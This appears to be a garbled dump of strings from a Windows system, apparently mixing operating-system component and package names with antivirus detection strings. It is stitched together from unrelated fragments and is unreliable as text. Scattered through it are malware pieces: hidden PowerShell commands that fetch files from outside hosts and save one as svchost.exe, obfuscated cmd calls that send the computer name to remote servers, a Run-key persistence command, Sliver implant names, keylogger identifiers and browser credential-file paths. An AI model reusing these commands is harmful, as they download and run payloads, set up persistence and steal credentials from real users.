.?AU?$implements_delegate@UStorageProviderKnownFolderSyncRequestedHandler@Provider@Storage@Windows@winrt@@V<lambda_1>@?CK@??GetKnownFolderSyncInfo@KFMStatusSource@@UEAAJPEAPEAUIStorageProviderKnownFolderSyncInfo@234ABI@@@Z@@impl@winrt@@
.?AV<lambda_1>@?CK@??GetKnownFolderSyncInfo@KFMStatusSource@@UEAAJPEAPEAUIStorageProviderKnownFolderSyncInfo@Provider@Storage@Windows@ABI@@@Z@
.?AUtype@?$abi@UIPropertyValue@Foundation@Windows@winrt@@X@impl@winrt@@
WINDOWS
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"g
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ndows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
crosof	!sieCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
"http://6t.pm:8080/bdubv5nx56d0oevc0u5ddnw2qpeiptrfrwz/!computername!"^m^w^m^ql^zx=me^dtc/^q%windir%\system32\imageres.dll
powershell-windowstylehidden-noprofile-executionpolicybypass-command"iwr-uri'https://hilarious-trifle-d9182e.netlify.app/
"http://m0.nu:8080/a9yr4yme442hyo530/jwd2kctcp7qruao/2/!computername!"-^qno^b=h^j^trs"%systemroot%\system32\imageres.dll
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTComponents\lib\AccountSubscriptionsExtensionWrapper.h
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputApp
windows.protocol
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
windows.protocol
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
windows.protocol
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
windows.protocol
EnumWindows
EnumChildWindows
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
System.Windows.Forms.ImageListStreamer, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089PADPADP
WSystem.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
&System.Windows.Forms.ImageListStreamer
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModelapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensionsapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngineapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManagerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidgetapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatformapp:immersive2026-02-20 16:13:452026-02-20 16:13:45z
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.LockCanvasapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisServiceapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.FeatureDiscoverabilityapp:immersive2026-02-20 16:13:452026-02-20 16:13:45w
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTrayapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditorapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlightapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Commonapp:immersive2026-02-20 16:13:452026-02-20 16:13:45w~
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUIapp:immersive2026-02-20 16:13:452026-02-20 16:13:45w}
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accountsapp:immersive2026-02-20 16:13:452026-02-20 16:13:45}|
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialogapp:immersive2026-02-20 16:13:452026-02-20 16:13:45r{
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUIapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45ty
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennialapp:immersive2026-02-20 16:13:452026-02-20 16:13:45}w
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeAppapp:immersive2026-02-20 16:13:452026-02-20 16:13:45~v
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustAppapp:immersive2026-02-20 16:13:452026-02-20 16:13:45qu
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIapp:immersive2026-02-20 16:13:452026-02-20 16:13:45ut
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntimeapp:immersive2026-02-20 16:13:452026-02-20 16:13:45}s
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45ur
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!InputAppapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtensionsapp:immersive2026-02-20 16:13:452026-02-20 16:13:45}p
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!Global.LiveCaptionsDesktopapp:immersive2026-02-20 16:13:452026-02-20 16:13:45}n
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessPluginapp:immersive2026-02-20 16:13:452026-02-20 16:13:45B
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
%localappdata%\Slido\Slido for Windows\*\CefSharp.BrowserSubprocess.exe
SecureAnywhere needs to reboot your computerkAkdnIlraigSbkeyloggers, screen-grabbers, clipboard stealersWindows Firewall is currently disabledEnable Enhanced Rootkit DetectionDisable Advanced HeuristicsC
Microsoft.WindowsCamera_8wekyb3d8bbwe
cmd /c cmd < Aging.adt & ping -n 5 localhostnslookup /Software\Microsoft\Windows\CurrentVersion\App Paths
%sWindows\NTDSmain.enableDisableProcessPrivilege.func1main.Apply.func1main.walkFunc
reactNativeWindowsVersion
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\boost\1.76.0\lib\native\include\boost\uuid\detail\random_provider_bcrypt.ipp
CWindowsLiveProvider::IsConnected
CWindowsLiveIdentity::Init
CWindowsLiveIdentity::GetValue
CWindowsLiveIdentity::GetAt
onecoreuap\ds\ext\live\identity\identityprovider\lib\windowsliveidentity.cpp
CWindowsLiveProvider::GetIdentityEnum
CWindowsIdentityEnum::Next
\windows\currentversion\run]"a"="
!%systemroot%\system32\shell32.dll%wn]nd.q`xjohn-win764.~7b4;}dh).~7b4;}dh)%psmodulepath%..\powershell.exe%psmodulepath%..\powershell.exex)#x6e[sofaultttfont__21spsxfl8c&mm.s-1-5-21-3345294922-2424827061-887656146-10001sps0cgsf"md-v1.0(c:\windows\system32\windowspowershell)1spswca!p&1sps0%g`1powershell.exe@r+:^(uz^@k#1spsjc(=o:c:\windows\system32\windowspowershell\v1.0\powershell.exe
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|UserExperience-AIX-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|UserExperience-LKG-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|UserExperience-AIX-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
/bishopfox/sliver/protobuf/sliverpb.sliverpb.netinterface.sliverpb.fileinfo.sliverpb.socktabentry.sockaddr.sliverpb.dnsblockheader.sliverpb.serviceinforeq.sliverpb.pivotentry.sliverpb.wgtcpforwarder.sliverpb.wgsocksserver.sliverpb.windowsprivilegeentry.commonpb.response.commonpb.request
.sliverpb.WindowsPrivilegeEntryR.
WindowsDuplicateString
WindowsSubstringWithSpecifiedLength
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsCompareStringOrdinal
SimpleKeloggerWindowsFrm_SImpleLoggerNKL_reportViwerC
EnumWindows
Failed to StringCchCatW system32
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you taller Security
Windows
Install dfghfdghfdghg is breakingWelcome to installer Windows 7
Install Windows 7 is breakingAntispyware Protection.lnk
Windows hangovers and crashes without limitationsurn firewall on, so that no one could attack it from the Interne
WINDOWS11
  <DockWindows>
  </DockWindows>
  <FloatWindows Count="0" />
.?AU?$produce_base@UReactPackageProvider@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactPackageProvider@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@UReactPackageProvider@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@@winrt@@
.?AU?$root_implements@UReactPackageProvider@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
ce.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\Microsoft.Windows.Wil.Internal.0.3.38\inc\wil\opensource\wil\resource.h
windowsudk.shellcommon.dll
C:\__w\1\s\packages\ux-phui\windows\ux-phui\RecommendedGridViewItem.cpp
C:\__w\1\s\packages\ux-phui\windows\ux-phui\RecommendedListViewItem.cpp
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\Microsoft.Windows.Wil.Internal.0.3.38\inc\wil\opensource\wil\result.h
C:\__w\1\s\packages\ux-phui\windows\ux-phui\StartTileDragDropControlManager.h
Microsoft.Windows.SMB.SRV2
Microsoft.Windows.TlgAggregateInternal
WINDOWS11
WINDOWS11
c:\Windows\System32\en-US\appmgmt.dll.mui
!#Lua:SpecificFileExtInWindowsFolder
Lua:FileInsideWindowsFolder
Lua:BatFileInWindowsFolder
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsCreateString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsDeleteString
WindowsStringHasEmbeddedNull
WindowsGetStringLen
WindowsConcatString
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsCreateStringReference
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
T\Microsoft\Windows\Defender
WINDOWS11
T\Microsoft\Windows\Defender
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
COMPUTERNAME=WINDOWS11
WINDOWS11
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
ce_global__Windows_Foundation_TypedEventHandler_global__Windows_Graphics_Display_DisplayInformation__object_
_EventSource_global__Windows_Foundation_Collections_MapChangedEventHandler_K__V_`2
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_ViewManagement_AccessibilitySettings__object_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_Media_Playback_MediaPlaybackTimedMetadataTrackList__global__Windows_Media_Playback_TimedMetadataPresentationModeChangedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_ApplicationModel_PackageCatalog__global__Windows_ApplicationModel_PackageUninstallingEventArgs_
_EventSource_global__Windows_ApplicationModel_Background_BackgroundTaskCompletedEventHandler
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_ApplicationModel_PackageCatalog__global__Windows_ApplicationModel_PackageInstallingEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_WindowManagement_AppWindow__global__Windows_UI_WindowManagement_AppWindowClosedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_Core_CoreWindow__global__Windows_UI_Core_CoreWindowEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_System_DispatcherQueueTimer__object_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_ViewManagement_InputPane__global__Windows_UI_ViewManagement_InputPaneVisibilityEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_Core_CoreWindow__global__Windows_UI_Core_PointerEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_Notifications_ToastNotification__global__Windows_UI_Notifications_ToastDismissedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_Core_CoreDispatcher__global__Windows_UI_Core_AcceleratorKeyEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_Media_Playback_MediaPlayer__object_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_ApplicationModel_AppService_AppServiceConnection__global__Windows_ApplicationModel_AppService_AppServiceClosedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_WindowManagement_AppWindow__global__Windows_UI_WindowManagement_AppWindowChangedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_ViewManagement_UISettings__global__Windows_UI_ViewManagement_UISettingsAnimationsEnabledChangedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_Media_Playback_MediaPlaybackSession__object_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_Notifications_ToastNotification__global__Windows_UI_Notifications_ToastFailedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_ApplicationModel_AppService_AppServiceConnection__global__Windows_ApplicationModel_AppService_AppServiceRequestReceivedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_ApplicationSettings_AccountsSettingsPane__global__Windows_UI_ApplicationSettings_AccountsSettingsPaneCommandsRequestedEventArgs_
<WindowsRuntimeSystemExtensions
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_ViewManagement_UISettings__object_
_EventSource_global__Windows_Networking_Connectivity_NetworkStatusChangedEventHandler
_EventSource_global__Windows_Foundation_Collections_VectorChangedEventHandler_T_`1
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_Core_CoreWindow__global__Windows_UI_Core_VisibilityChangedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_ApplicationModel_Core_CoreApplicationViewTitleBar__object_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_ApplicationModel_Store_Preview_InstallControl_AppInstallItem__object_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_Media_Playback_MediaPlaybackItem__global__Windows_Foundation_Collections_IVectorChangedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_ApplicationModel_Store_Preview_InstallControl_AppInstallManager__global__Windows_ApplicationModel_Store_Preview_InstallControl_AppInstallManagerItemEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_Media_Playback_MediaPlayer__global__Windows_Media_Playback_MediaPlayerFailedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_Core_CoreWindow__global__Windows_UI_Core_CharacterReceivedEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_Media_Core_TimedTextSource__global__Windows_Media_Core_TimedTextSourceResolveResultEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_Core_CoreWindow__global__Windows_UI_Core_TouchHitTestingEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_object__global__Windows_UI_Core_InputEnabledEventArgs_
_EventSource_global__Windows_Foundation_TypedEventHandler_global__Windows_UI_Core_CoreWindow__global__Windows_UI_Core_AutomationProviderRequestedEventArgs_
_EventSource_global__Windows_ApplicationModel_Background_BackgroundTaskProgressEventHandler
_EventSource_global__Windows_ApplicationModel_Background_BackgroundTaskCanceledEventHandler
WINDOWS11
com.microsoft.windows.extensions.xaml.accountdialog
60^com.microsoft.windows.telemetryid
61^com.microsoft.windows.extensionpackage
WINDOWS11
WINDOWS11
c:/windows/system32/drivers/umdf/iddcx.dll2
c:/windows/system32/drivers/umdf/poscx.dll2
%windir%\system32
Windows
\windows\systemtemp\
EnumChildWindows
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
Microsoft.Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
WINDOWS11
COMPUTERNAME=WINDOWS11
Qsoftware\microsoft\windows\currentversion\explorer\runmrus
WINDOWS11
WINDOWS11
A Windows error object that encapsulates what is in CIM_Error as well as includes error code, errorCategory, errorMessage and errorType.
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
C:\WINDOWS\system32\IYUV_32.DLL
C:\WINDOWS\system32\TSBYUV.DLL
C:\WINDOWS\system32\MSADP32.ACM
WINDOWS11
C:\WINDOWS\system32\MSRLE32.DLL
C:\WINDOWS\system32\IMAADP32.ACM
C:\WINDOWS\system32\MSG711.ACM
WINDOWS11
C:\WINDOWS\system32\MSVIDC32.DLL
C:\WINDOWS\system32\IYUV_32.DLL
C:\WINDOWS\system32\MSGSM32.ACM
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
`c:\windows\temp\font.tmpMapViewOfFile failed.[%d]It's Not PE File.[%d].codatajfkdjveujvpdfjgd34=-321Trojan:Win64/Dizzyvoid.D!dha
Windows NT\CurrentVersion\Image File Execution Options\RavMon.exe
WINDOWS11
start/minpowershell.exe-windowstylehidden"cls;write'
ROOT\Microsoft\Windows
WINDOWS11
WINDOWS11
WINDOWs
WINDOWS11
ROOT\Microsoft\Windows
ROOT\Microsoft\Windows
ROOT\Microsoft\Windows\Defender
(@ComSpec=C:\WINDOWS\system32\cmd.exe
ishelldispatch6.shellexecute("c:\windows\system32\
EnumWindows
9e^windows.fileOpenPicker
how many windows and tabs appear on Alt+Tab
.@Digest Authentication for Windows
USERNAME=WINDOWS11$
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
TEMP=C:\WINDOWS\TEMP
Windows.Gaming.Input
Microsoft.Windows.NetworkIcon
MicrosoftWindowsShellNetworkUX
;C:\WINDOWS\Sy
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
ext-ms-win-ntuser-windowstation-l1-1-1.dll
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75
onecoreuap\windows\core\color\moderncolor\rpc\server\displayhandlerlib\displayobject.cpp
onecoreuap\windows\core\color\moderncolor\rpc\server\lib\colormanagementrpcserver.cpp
WINDOWS.SYSTEM.USERPROFILE.GLOBALIZATIONPREFERENCES
.P6A_NAEBV?$shared_ptr@VExtensionInfo@implementation@AppExtensions@ApplicationModel@WindowsUdk@winrt@@@std@@@Z
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KV?$basic_string@_WU?$char_traits@_W@s
9N1M64W9XZQ7FocusHomeInteractiveSA.AliensDarkDescent-Windows_4hny5m903y3g0>
:\windows\temp\sb-sim-
\windows\temp\sb-sim-
e":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\PimIndexMaintenanceClient.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[226,20,77,142,196,221,90,165,43,163,188,65,235,112,100,251,217,79,139,16],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"PimIndexMaintenanceClient.dll","InternalName":"PimIndexMaintenanceClient","FileDescription":"Client dll for Pim Index Maintenance","ProductName":"Microsoft
 Windows
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]k=
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\mssmbios.sys[MofResource]
C:\WINDOWS\System32\drivers\processr.sys[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]X
C:\WINDOWS\System32\drivers\HDAudBus.sys[HDAudioMofName]X
C:\WINDOWS\System32\Drivers\portcls.SYS[PortclsMof]
C:\WINDOWS\System32\drivers\monitor.sys[MonitorWMI]
ndows\System32\fontdrvhost.exe
ndows\System32\svchost.exe
ndows\System32\cdd.dll
cKandnot(pathnamelike'%:\WINDOWS\%')Z
%windir%\system32\drivers\etc\hostZ
Windows
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.59337133.Voiess_cw5n1h2txyewy!E
Microsoft Windows
onecoreuap\windows\cdp\afc\core\CloudDataEncryptionKey.h
WindowsUpdate::Internal::FulfillmentDataInfo::StoreInContentIdCache
Windows.Desktop
)MicrosoftWindows.Client.CBS_cw5n1h2txyewy1
qwindowsJ
Google\Chrome\User Data\Default\Login Data\logins.jsonlving hostname %sSOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName\prefs.js\Program Files\Mozilla Firefox\firefox.exe\Program Files (x86)\Mozilla Firefox\firefox.exe\Program Files\Internet Explorer\iexplore.exe\Program Files (x86)\Internet Explorer\iexplore.exeChrome_WidgetWin_Trojan:Win64/DarkRat!MSR
c:\windows\helpc
c:\windows\help\pay.txtc
//vegax.gg/windows/ui_ver.php/
/vega x;component/spawnablewindows/injectcode.xaml/
WindowsAuthenticationModule
HYnew-object-comobject'windowsinstaller.installer');
objShell = CreateObject("WScript.Shell")pre = "cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden ".DownloadFile('http://bartsimpson2.ignorelist.com/bart.jpg'-FilePath $env:TEMP\svchost.exeShell (exec2)TrojanDownloader:O97M/EncDoc.PVDS!MTB
x\*.exedeulledo-x.scr\system32\logonui.scr\program files\winamp\winampsoftware\microsoft\windows\currentversion\explorer\workgroupcrawler\shares
%SystemRoot%\system32\usbmons.exeRECYCLER\RECYCLER\autorun.exe
DoGetWinlogonPid!
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
uplphostsvc.netSoftware\Microsoft\Windows NT\Currentversion%d/%d/%d %d:%d/Install
microsoft\windows\inetcache\ie\
microsoft\windows\temporary internet files\content.outlook\
microsoft\windows\inetcache\content.outlook\
microsoft\windows\temporary internet files\content.ie5\
appdata\local\packages\microsoft.windowscommunicationsapps
microsoft\windows\mui
